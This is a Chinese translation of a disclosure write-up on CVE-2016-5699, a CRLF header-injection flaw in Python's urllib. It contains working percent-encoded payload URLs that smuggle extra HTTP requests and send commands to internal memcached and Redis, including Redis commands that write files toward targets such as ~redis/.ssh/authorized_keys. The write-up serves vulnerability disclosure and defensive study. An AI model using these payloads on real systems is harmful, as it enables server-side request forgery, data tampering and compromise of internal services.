Python urllib HTTP头注入漏洞

0x00 总览

Python的urllib库（在Python2中为urllib2，在Python3中为urllib）有一个HTTP协议下的协议流注入漏洞。如果攻击者可以控制Python代码访问任意URL或者让Python代码访问一个恶意的web servr，那这个漏洞可能会危害内网服务安全。

0x01 问题在哪

HTTP协议解析host的时候可以接受百分号编码的值，解码，然后包含在HTTP数据流里面，但是没有进一步的验证或者编码，这就可以注入一个换行符。

#!/usr/bin/env python3

import sys

import urllib

import urllib.error

import urllib.request

url = sys.argv[1]

try:

info = urllib.request.urlopen(url).info()

print(info)

except urllib.error.URLError as e:

print(e)

这段代码只是从命令行参数接收一个URL，然后去访问它。为了查看urllib获取的HTTP头，我们用一个nc来监听端口。

nc -l -p 12345

在正常的代码中，我们可以这样访问

./fetch3.py http://127.0.0.1:12345/foo

返回的HTTP头是

GET /foo HTTP/1.1

Accept-Encoding: identity

User-Agent: Python-urllib/3.4

Connection: close

Host: 127.0.0.1:12345

然后我们使用恶意构造的地址

./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

返回的HTTP头就是

GET /foo HTTP/1.1

Accept-Encoding: identity

User-Agent: Python-urllib/3.4

Host: 127.0.0.1

X-injected: header

x-leftover: :12345

Connection: close

然后攻击者可以任意注入HTTP头了。

这个攻击在使用域名的时候也可以进行，但是要插入一个空字节才能进行DNS查询。比如说，下面的URL进行解析会失败的。

http://localhost%0d%0ax-bar:%20:12345/foo

但是下面的URL是可以正常解析并访问到127.0.0.1的

http://localhost%00%0d%0ax-bar:%20:12345/foo

要注意的是HTTP重定向也可以利用这个漏洞，如果攻击者提供的URL是一个恶意的web server，然后服务器可以重定向到其他的URL也可以导致协议注入。

0x02 攻击面

下面会讨论几个可能导致严重后果的攻击方式。当然还远远不够，攻击都需要特定的场景，有很多不同的方法可以利用，还不能确定有没有其他的利用方式。

HTTP头注入和请求伪造

这个攻击方式由来已久了，但是和以前的请求伪造不同的是，这里仅仅是可以注入额外的HTTP头和请求方法。当然当前场景下，能够提交不同的HTTP方法和请求数据就已经很有用了，比如说原始的请求是这样的

GET /foo HTTP/1.1

Accept-Encoding: identity

User-Agent: Python-urllib/3.4

Host: 127.0.0.1

Connection: close

攻击者可以注入一个额外的完整的HTTP请求头

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

这个的响应是

GET /foo HTTP/1.1

Accept-Encoding: identity

User-Agent: Python-urllib/3.4

Host: 127.0.0.1

Connection: Keep-Alive

POST /bar HTTP/1.1

Host: 127.0.0.1

Content-Length: 31

{"new":"json","content":"here"}

:12345

Connection: close

demo中注入的完整的请求头在Apache HTTPD下是工作的，但是其他的server不一定能正确的解析或者利用。这种攻击可以用在内网攻击上，比如未授权的REST、SOAP或者类似的服务Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

攻击memcached

在memcached文档中，memcached会开放几个简单的网络协议接口供缓存数据读取和存储使用。一般来说，这种mamcached都是部署在应用服务器上，这样多个实例之间共享数据或者进行一些操作就会比较快，不用进行数据库操作了。要注意的是，memcached默认是都没有密码保护的。开发者或者管理员一般也是认为内网的应用是无法被攻击的。

这样，如果我们可以控制内网的Python访问一个URL，然后我们就可以轻松的访问memcached了，比如

http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo

就会产生下面的HTTP头

GET /foo HTTP/1.1

Accept-Encoding: identity

Connection: close

User-Agent: Python-urllib/3.4

Host: 127.0.0.1

set foo 0 0 5

ABCDE

:11211

当检查下面几行memcached的协议语法的时候，大部分都是语法错误，但是memcached在收到错误的命令的时候并不会关闭连接，这样攻击者就可以在请求的任何位置注入命令了，然后memcached就会执行。下面是memcached的响应（memcached是Debian下包管理默认配置安装的）

ERROR

ERROR

ERROR

ERROR

ERROR

STORED

ERROR

ERROR

经过确认，memcached中确实成功的插入了foo的值。这种场景下，攻击者就可以给内网的memcached实例发送任意命令了。如果应用依赖于memcached中存储的数据（比如用户的session数据，HTML或者其他的敏感数据），攻击者可能获取应用更高的权限了。这个利用方式还可以造成拒绝服务攻击，就是攻击者可以在memcached中存储大量的数据。

攻击Redis

Redis和memcached很相似，因为都提供了数据备份存储，一些内置数据类型，还能执行Lua脚本。前几年Quite a bit公布了攻击Redis的一些方法（链接1 链接2 链接3）。和memcached类似，Redis提供了TCP协议的接口，然后也可以执行一堆错误命令中的正确命令。另外，还可以利用Redis在写任意文件，攻击者可以控制一部分文件内容。比如下面的URL在/tmp/evil下创建了一个数据库文件。

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo

然后可以看到刚才存储的一些键值对数据

# strings -n 3 /tmp/evil

REDIS0006

foo

bar

理论上，攻击者就可以利用Redis创建或者改写一些敏感文件了，包括

~redis/.profile

~redis/.ssh/authorized_keys

...

0x03 多版本的Python都受到影响

Python 2和3版本都受到影响，Cedric Buissart 提供了修复问题的部分信息。

3.4 / 3.5 : revision 94952

2.7 : revision 94951

虽然已经在最新的版本中修复了，但是很多系统的稳定版是没法得到修复的，比如最新的Debian Stable就还存在这个漏洞。

0x04 我的一点思考

Redis和memcached的开发者提供的默认配置是没有密码的，这个是不负责任的。当然，我能理解他们认为这些东西应该在"可信的内网"中使用。问题，实际上很少的内网能比外网更安全。未授权的服务即使监听在localhost，也会受到影响的。在安装过程中加一个随机生成的密码也并不难，开发者应该严肃的面对安全问题。

0x05 译者注

这个漏洞编号是 CVE-2016-5699，RedHat给申请的 http://www.openwall.com/lists/oss-security/2016/06/14/7

以前Python bugs中的讨论 https://bugs.python.org/issue22928